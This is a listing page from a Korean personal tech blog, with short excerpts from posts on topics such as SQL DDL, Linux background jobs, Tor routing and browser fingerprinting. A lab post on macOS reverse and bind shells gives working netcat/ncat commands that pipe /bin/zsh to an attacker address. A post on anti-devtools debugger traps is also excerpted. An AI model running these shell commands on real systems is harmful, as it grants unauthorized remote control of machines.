728x90 분류 전체보기720 html - debugger(개발자 도구 방지) 비활성화 https://janger.tistory.com/222 html - 개발자 도구 막기(사용하기 힘들게) (function () { (function a() { try { (function b(i) { if (('' + (i / i)).length !== 1 || i % 20 === 0) { (function () { }).constructor('debugger')() } else { debugger } b(++i) } )(0) } catch (e) { s.. janger.tistory.com (function anonymous( ) { debugger }) 위 같은 개발자 도구를 막으려고 일부로 debugger로 브레이크 포인트를 주는 스크립트가 존재할 경우 개발자 도구에서 Sources 탭에 들어간 다.. 2022. 8. 16. 웹 해킹 - 클라이언트의 핑거프린트 확인하기(ClientJS) const client = new ClientJS(); client.getBrowserData(); client.getFingerprint(); client.getCustomFingerprint(...); client.getUserAgent(); client.getUserAgentLowerCase(); client.getBrowser(); client.getBrowserVersion(); client.getBrowserMajorVersion(); client.isIE(); client.isChrome(); client.isFirefox(); client.isSafari(); client.isOpera(); client.getEngine(); client.getEngineVersion(); client.g.. 2022. 8. 15. 정보처리기사 - SQL(DDL, 데이터 정의어) CREATE SCHEMA - 스키마(데이터베이스의 구조와 제약 조건에 관한 전반적인 명세를 기술한 것)를 정의하는 명령문이다. CREATE SCHEMA 스키마명 AUTHORIZATION 사용자_id; CREATE DOMAIN 도메인(하나의 속성을 취할 수 있는 동일한 유형의 원자값들의 집합)을 정의하는 명령문이다. CREATE DOMAIN 도메인명 [AS] 데이터_타입 [DEFAULT 기본값] [CONSTRAINT 제약조건명 CHECK (범위값)]; CREATE TABLE 테이블을 정의하는 명령문이다. CREATE TABLE 테이블명 (속성명 데이터_타입 [DEFAULT 기본값] [NOT NULL], [, PRIMARY KEY(기본키_속성명)] [, UNIQUE(대체키_속성명)] [, FOREIGN KE.. 2022. 8. 13. 클라우드 - AWS의 대안(linode) https://www.linode.com/ko/ 클라우드 컴퓨팅 & Linux 서버 | AWS의 대안 | Linode Linode 클라우드 컴퓨팅과 호스팅 솔루션으로 인프라를 간소화하고, 더 빠르고 쉽게 개발, 배포, 확장하세요. www.linode.com 2022. 8. 13. 핑거 프린세스를 위한 구글 검색 사이트 https://googlethatforyou.com/ Here, Let Me Google That For You Passive-aggressively teach your friends how to Google. For all those people who find it more convenient to ask you rather than search it themselves. Not associated with Google. googlethatforyou.com 2022. 8. 12. 개발 - 온라인 컴파일러 https://replit.com/languages/csharp C# Online Compiler & Interpreter Write and run C# code using our C# online compiler & interpreter. You can build, share, and host applications right from your browser! replit.com 파이썬이나 자바스크립트 같은 인터프리터 언어는 실행 결과를 바로 확인 가능한 것처럼 가볍게 문법을 확인하거나 실행 결과를 미리 알고 싶을 경우에 온라인 컴파일러를 이용하면 좋다. replit.com은 C/C++, C#, 자바, PHP 등 꽤나 다양한 언어들을 지원한다. 2022. 8. 11. 암호 - 니모닉(Mnemonic) 니모닉(Mnemonic)이란 지갑을 복구하기 위한 12개의 단어이다. 개인 키가 너무 복잡한 단어들로 구성되어 있기 때문에, 이를 쉽게 입력할 수 있도록 갖춰진 형식이다. 니모닉의 어원은 그리스 신화의 기억의 여신 므네모시네(Mnemosyne)에서 유래되었다. 출처: http://wiki.hash.kr/index.php/%EB%8B%88%EB%AA%A8%EB%8B%89 니모닉 - 해시넷 니모닉(Mnemonic)이란 지갑을 복구하기 위한 12개의 단어이다. 개인 키가 너무 복잡한 단어들로 구성되어 있기 때문에, 이를 쉽게 입력할 수 있도록 갖춰진 형식이다. 니모닉의 어원은 그리스 신화 wiki.hash.kr 2022. 8. 11. PHP - 캡챠(Captcha) 구현 https://beautifulhill.tistory.com/m/4 PHP 만으로 간단한 CAPTCHA 이미지를 만들어보자 CAPTCHA((Completely Automated Public Turing test to tell Computers and Humans Apart)는 사용자가 실제 사람인지 컴퓨터 프로그램인지 구분하기 위해 사용되는 기술로 주로 회원가입이나 결제 시에 보게.. beautifulhill.tistory.com 2022. 8. 7. 리눅스 - 백그라운드 실행 방법(nohup, screen) 백그라운드 실행 방법으로 대표적으로 nohup과 screen이 있다. nohup 백그라운드 실행 명령어: nohup {명령어} & 백그라운드 삭제 명령어: ps -aux | grep {명령어} kill -9 {pid} 특징으로는 nohup을 실행할 때마다 nohup.out이라는 로그 파일이 생성된다. 한번 백그라운드 상태로 만들면 포그라운드로 전환하지 못한다. screen screen은 새로운 터미널 환경을 생성해서 백그라운드로 작동한다. screen 생성 명령어: screen -S {스크린 이름} 실행 중인 screen들 확인: screen -ls 현재 screen 잠시 빠져나오기 및 종료하기: ctrl + a d exit 실행 중인 screen 재개(Reattach): screen -r {스크린 ID.. 2022. 8. 5. 네트워크 해킹 - 맥(MacOS) 리버스 쉘(Reverse Shell), 바인드 쉘(Bind Shell) 연결 실습 환경 공격자 환경: Ubuntu IP: 192.168.0.5 공격 대상 MacOS(10.13.6) IP: 192.168.0.6 * 맥에서는 nc 명령어가 되지 않는 문제로 대신 ncat 명령어를 사용하였다. 리버스 쉘 공격자가 직접 서버를 여는 방식으로 공격 대상자의 막혀있는 방화벽(아웃바인드)을 우회할 수 있다. 공격자(Ubuntu) nc -lvp 4444 공격 대상(MacOS) ncat 192.168.0.5 4444 -e /bin/zsh 바인드 쉘 공격 대상자가 직접 서버를 여는 형태이다. 공격 대상(MacOS) ncat -lvp 4444 -e /bin/zsh 공격자(Ubuntu) nc 192.168.0.6 4444 출처: https://hobbylists.tistory.com/entry/kal.. 2022. 8. 5. 국내 도메인 구매 사이트 추천(호스팅 케이알) 호스팅 케이알 https://my.hosting.kr/ https://my.hosting.kr/ my.hosting.kr 특징) 국내 도메인 구매 사이트 중에서도 제일 싼 곳임 .xyz 도메인은 1년에 2,500원(2022-8 기준) 2022. 8. 3. 네트워크 해킹 - tor 작동 원리 다음은 Tor 클라이언트 A (원본)에서 Tor 서버 B, C를 차례로 거쳐 목적지 D (일반 Web 서버 등)에 이르는 경우의 설명이다. 1. A는 미리 얻고 있는 디렉토리 목록에서 임의로 B와 C를 선택한다. 2. A는 B에 대해 가상 회선 연결 요청, AB 사이의 암호화 통신을 위한 세션 키를 교환하기 위한 정보와 함께 전달한다. 3. B는 A에 가상 회선 연결 수락과 함께 세션 키 교환을 위한 정보를 전송한다. 4. AB 사이에 전단까지 얻은 세션 키는 암호화 통신로 얻을 수 있다. 이후 AB 간의 통신이 암호화 통신 경로를 사용하여 행해진다. 5. A는 B에 대해 "B가 C에 대한 가상 회선 연결의 요구를 제출하는 것"을 요구하는 전송한다. 6. B는 C에 대해 가상 회선 연결 요청, BC 사이.. 2022. 8. 1. 이전 1 ··· 37 38 39 40 41 42 43 ··· 60 다음 728x90